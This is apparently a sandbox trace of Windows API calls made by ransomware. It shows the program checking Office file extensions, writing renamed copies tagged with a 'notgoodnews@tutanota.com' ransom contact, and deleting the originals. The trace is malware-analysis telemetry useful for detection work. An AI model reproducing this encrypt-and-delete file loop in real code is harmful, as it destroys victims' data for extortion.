[0171.462] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\VCTRN_01.MID") returned 68 [0171.462] lstrlenW (lpString=".jpg") returned 4 [0171.463] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0171.463] lstrcmpiW (lpString1=".MID", lpString2=".NEWS") returned -1 [0171.463] lstrlenW (lpString="WNTER_01.MID") returned 12 [0171.463] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WNTER_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wnter_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0171.604] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x335ff14 | out: lpFileSize=0x335ff14*=6915) returned 1 [0171.604] CloseHandle (hObject=0x36c) returned 1 [0171.604] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WNTER_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wnter_01.mid")) returned 0x220 [0171.605] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WNTER_01.MID.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wnter_01.mid.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0171.605] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WNTER_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wnter_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0171.605] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0171.606] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0171.606] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WNTER_01.MID.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wnter_01.mid.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0171.634] GetLastError () returned 0x0 [0171.634] ReadFile (in: hFile=0x36c, lpBuffer=0x3d73020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesRead=0x335fecc*=0x1b03, lpOverlapped=0x0) returned 1 [0172.643] WriteFile (in: hFile=0x454, lpBuffer=0x3d73020*, nNumberOfBytesToWrite=0x1b10, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesWritten=0x335fc94*=0x1b10, lpOverlapped=0x0) returned 1 [0172.644] ReadFile (in: hFile=0x36c, lpBuffer=0x3d73020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesRead=0x335fecc*=0x0, lpOverlapped=0x0) returned 1 [0172.644] WriteFile (in: hFile=0x454, lpBuffer=0x3d73020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesWritten=0x335fc94*=0xec, lpOverlapped=0x0) returned 1 [0172.645] SetEndOfFile (hFile=0x454) returned 1 [0172.645] CloseHandle (hObject=0x454) returned 1 [0172.645] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0172.645] SetEndOfFile (hFile=0x36c) returned 1 [0172.649] CloseHandle (hObject=0x36c) returned 1 [0172.649] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WNTER_01.MID.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0172.649] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WNTER_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wnter_01.mid")) returned 1 [0172.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WNTER_01.MID") returned 68 [0172.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WNTER_01.MID") returned 68 [0172.651] lstrlenW (lpString=".doc") returned 4 [0172.651] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0172.651] lstrlenW (lpString=".docx") returned 5 [0172.651] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0172.651] lstrlenW (lpString=".pdf") returned 4 [0172.651] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0172.651] lstrlenW (lpString=".xls") returned 4 [0172.651] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0172.651] lstrlenW (lpString=".xlsx") returned 5 [0172.651] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0172.651] lstrlenW (lpString=".ppt") returned 4 [0172.651] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0172.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WNTER_01.MID") returned 68 [0172.651] lstrlenW (lpString=".zip") returned 4 [0172.651] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0172.651] lstrlenW (lpString=".rar") returned 4 [0172.651] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0172.651] lstrlenW (lpString=".bz2") returned 4 [0172.651] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0172.651] lstrlenW (lpString=".7z") returned 3 [0172.651] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0172.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WNTER_01.MID") returned 68 [0172.651] lstrlenW (lpString=".dbf") returned 4 [0172.651] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0172.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WNTER_01.MID") returned 68 [0172.652] lstrlenW (lpString=".1cd") returned 4 [0172.652] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0172.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WNTER_01.MID") returned 68 [0172.652] lstrlenW (lpString=".jpg") returned 4 [0172.652] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0172.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WNTER_01.MID") returned 68 [0172.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WNTER_01.MID") returned 68 [0172.652] lstrlenW (lpString=".doc") returned 4 [0172.652] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0172.652] lstrlenW (lpString=".docx") returned 5 [0172.652] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0172.652] lstrlenW (lpString=".pdf") returned 4 [0172.652] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0172.652] lstrlenW (lpString=".xls") returned 4 [0172.652] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0172.652] lstrlenW (lpString=".xlsx") returned 5 [0172.652] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0172.652] lstrlenW (lpString=".ppt") returned 4 [0172.652] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0172.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WNTER_01.MID") returned 68 [0172.652] lstrlenW (lpString=".zip") returned 4 [0172.652] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0172.652] lstrlenW (lpString=".rar") returned 4 [0172.652] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0172.653] lstrlenW (lpString=".bz2") returned 4 [0172.653] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0172.653] lstrlenW (lpString=".7z") returned 3 [0172.653] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0172.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WNTER_01.MID") returned 68 [0172.653] lstrlenW (lpString=".dbf") returned 4 [0172.653] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0172.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WNTER_01.MID") returned 68 [0172.653] lstrlenW (lpString=".1cd") returned 4 [0172.653] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0172.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WNTER_01.MID") returned 68 [0172.653] lstrlenW (lpString=".jpg") returned 4 [0172.653] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0172.653] lstrcmpiW (lpString1=".eftx", lpString2=".NEWS") returned -1 [0172.653] lstrlenW (lpString="Glossy.eftx") returned 11 [0172.653] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glossy.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\glossy.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0172.654] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x335ff14 | out: lpFileSize=0x335ff14*=335038) returned 1 [0172.654] CloseHandle (hObject=0x36c) returned 1 [0172.654] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glossy.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\glossy.eftx")) returned 0x220 [0172.655] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glossy.eftx.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\glossy.eftx.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0172.655] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glossy.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\glossy.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0172.655] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0172.655] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0172.655] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glossy.eftx.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\glossy.eftx.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0172.657] GetLastError () returned 0x0 [0172.657] ReadFile (in: hFile=0x36c, lpBuffer=0x3d73020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesRead=0x335fecc*=0x51cbe, lpOverlapped=0x0) returned 1 [0172.701] WriteFile (in: hFile=0x454, lpBuffer=0x3d73020*, nNumberOfBytesToWrite=0x51cc0, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesWritten=0x335fc94*=0x51cc0, lpOverlapped=0x0) returned 1 [0173.147] ReadFile (in: hFile=0x36c, lpBuffer=0x3d73020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesRead=0x335fecc*=0x0, lpOverlapped=0x0) returned 1 [0173.148] WriteFile (in: hFile=0x454, lpBuffer=0x3d73020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesWritten=0x335fc94*=0xea, lpOverlapped=0x0) returned 1 [0173.153] SetEndOfFile (hFile=0x454) returned 1 [0173.156] CloseHandle (hObject=0x454) returned 1 [0173.157] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0173.157] SetEndOfFile (hFile=0x36c) returned 1 [0173.470] CloseHandle (hObject=0x36c) returned 1 [0173.470] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glossy.eftx.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0173.574] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glossy.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\glossy.eftx")) returned 1 [0173.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glossy.eftx") returned 83 [0173.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glossy.eftx") returned 83 [0173.951] lstrlenW (lpString=".doc") returned 4 [0173.951] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0173.951] lstrlenW (lpString=".docx") returned 5 [0173.951] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0173.951] lstrlenW (lpString=".pdf") returned 4 [0173.951] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0173.951] lstrlenW (lpString=".xls") returned 4 [0173.951] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0173.951] lstrlenW (lpString=".xlsx") returned 5 [0173.951] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0173.951] lstrlenW (lpString=".ppt") returned 4 [0173.951] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0173.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glossy.eftx") returned 83 [0173.951] lstrlenW (lpString=".zip") returned 4 [0173.951] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0173.951] lstrlenW (lpString=".rar") returned 4 [0173.951] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0173.951] lstrlenW (lpString=".bz2") returned 4 [0173.951] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0173.951] lstrlenW (lpString=".7z") returned 3 [0173.951] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0173.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glossy.eftx") returned 83 [0173.951] lstrlenW (lpString=".dbf") returned 4 [0173.951] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0173.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glossy.eftx") returned 83 [0173.951] lstrlenW (lpString=".1cd") returned 4 [0173.951] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0173.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glossy.eftx") returned 83 [0173.951] lstrlenW (lpString=".jpg") returned 4 [0173.951] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0173.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glossy.eftx") returned 83 [0173.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glossy.eftx") returned 83 [0173.951] lstrlenW (lpString=".doc") returned 4 [0173.952] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0173.952] lstrlenW (lpString=".docx") returned 5 [0173.952] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0173.952] lstrlenW (lpString=".pdf") returned 4 [0173.952] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0173.952] lstrlenW (lpString=".xls") returned 4 [0173.952] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0173.952] lstrlenW (lpString=".xlsx") returned 5 [0173.952] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0173.952] lstrlenW (lpString=".ppt") returned 4 [0173.952] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0173.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glossy.eftx") returned 83 [0173.952] lstrlenW (lpString=".zip") returned 4 [0173.952] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0173.952] lstrlenW (lpString=".rar") returned 4 [0173.952] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0173.952] lstrlenW (lpString=".bz2") returned 4 [0173.952] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0173.952] lstrlenW (lpString=".7z") returned 3 [0173.952] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0173.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glossy.eftx") returned 83 [0173.952] lstrlenW (lpString=".dbf") returned 4 [0173.952] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0173.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glossy.eftx") returned 83 [0173.952] lstrlenW (lpString=".1cd") returned 4 [0173.952] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0173.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glossy.eftx") returned 83 [0173.952] lstrlenW (lpString=".jpg") returned 4 [0173.952] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0173.953] lstrcmpiW (lpString1=".dll", lpString2=".NEWS") returned -1 [0173.953] lstrlenW (lpString="api-ms-win-core-file-l1-2-0.dll") returned 31 [0173.953] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l1-2-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-file-l1-2-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0173.957] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x335ff14 | out: lpFileSize=0x335ff14*=18624) returned 1 [0173.957] CloseHandle (hObject=0x36c) returned 1 [0173.957] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l1-2-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-file-l1-2-0.dll")) returned 0x220 [0173.957] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l1-2-0.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-file-l1-2-0.dll.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0174.290] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l1-2-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-file-l1-2-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0174.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l1-2-0.dll") returned 80 [0174.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l1-2-0.dll") returned 80 [0174.291] lstrlenW (lpString=".doc") returned 4 [0174.291] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0174.291] lstrlenW (lpString=".docx") returned 5 [0174.291] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0174.291] lstrlenW (lpString=".pdf") returned 4 [0174.291] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0174.291] lstrlenW (lpString=".xls") returned 4 [0174.291] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0174.291] lstrlenW (lpString=".xlsx") returned 5 [0174.291] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0174.291] lstrlenW (lpString=".ppt") returned 4 [0174.291] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0174.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l1-2-0.dll") returned 80 [0174.291] lstrlenW (lpString=".zip") returned 4 [0174.291] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0174.291] lstrlenW (lpString=".rar") returned 4 [0174.291] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0174.291] lstrlenW (lpString=".bz2") returned 4 [0174.291] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0174.291] lstrlenW (lpString=".7z") returned 3 [0174.291] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0174.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l1-2-0.dll") returned 80 [0174.291] lstrlenW (lpString=".dbf") returned 4 [0174.291] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0174.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l1-2-0.dll") returned 80 [0174.292] lstrlenW (lpString=".1cd") returned 4 [0174.292] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0174.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l1-2-0.dll") returned 80 [0174.292] lstrlenW (lpString=".jpg") returned 4 [0174.292] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0174.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l1-2-0.dll") returned 80 [0174.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l1-2-0.dll") returned 80 [0174.292] lstrlenW (lpString=".doc") returned 4 [0174.292] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0174.292] lstrlenW (lpString=".docx") returned 5 [0174.292] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0174.292] lstrlenW (lpString=".pdf") returned 4 [0174.292] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0174.292] lstrlenW (lpString=".xls") returned 4 [0174.292] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0174.292] lstrlenW (lpString=".xlsx") returned 5 [0174.292] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0174.292] lstrlenW (lpString=".ppt") returned 4 [0174.292] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0174.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l1-2-0.dll") returned 80 [0174.292] lstrlenW (lpString=".zip") returned 4 [0174.292] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0174.292] lstrlenW (lpString=".rar") returned 4 [0174.292] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0174.293] lstrlenW (lpString=".bz2") returned 4 [0174.293] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0174.293] lstrlenW (lpString=".7z") returned 3 [0174.293] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0174.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l1-2-0.dll") returned 80 [0174.293] lstrlenW (lpString=".dbf") returned 4 [0174.293] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0174.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l1-2-0.dll") returned 80 [0174.293] lstrlenW (lpString=".1cd") returned 4 [0174.293] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0174.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l1-2-0.dll") returned 80 [0174.293] lstrlenW (lpString=".jpg") returned 4 [0174.293] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0174.293] lstrcmpiW (lpString1=".dll", lpString2=".NEWS") returned -1 [0174.293] lstrlenW (lpString="AppVPackaging.dll") returned 17 [0174.293] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvpackaging.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0174.297] GetFileSizeEx (in: hFile=0x518, lpFileSize=0x335ff14 | out: lpFileSize=0x335ff14*=578264) returned 1 [0174.297] CloseHandle (hObject=0x518) returned 1 [0174.298] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvpackaging.dll")) returned 0x220 [0174.298] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvpackaging.dll.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0174.298] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvpackaging.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0174.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll") returned 66 [0174.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll") returned 66 [0174.298] lstrlenW (lpString=".doc") returned 4 [0174.298] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0174.298] lstrlenW (lpString=".docx") returned 5 [0174.298] lstrcmpiW (lpString1=".docx", lpString2="g.dll") returned -1 [0174.298] lstrlenW (lpString=".pdf") returned 4 [0174.298] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0174.298] lstrlenW (lpString=".xls") returned 4 [0174.298] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0174.298] lstrlenW (lpString=".xlsx") returned 5 [0174.298] lstrcmpiW (lpString1=".xlsx", lpString2="g.dll") returned -1 [0174.298] lstrlenW (lpString=".ppt") returned 4 [0174.298] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0174.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll") returned 66 [0174.298] lstrlenW (lpString=".zip") returned 4 [0174.298] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0174.298] lstrlenW (lpString=".rar") returned 4 [0174.298] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0174.299] lstrlenW (lpString=".bz2") returned 4 [0174.299] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0174.299] 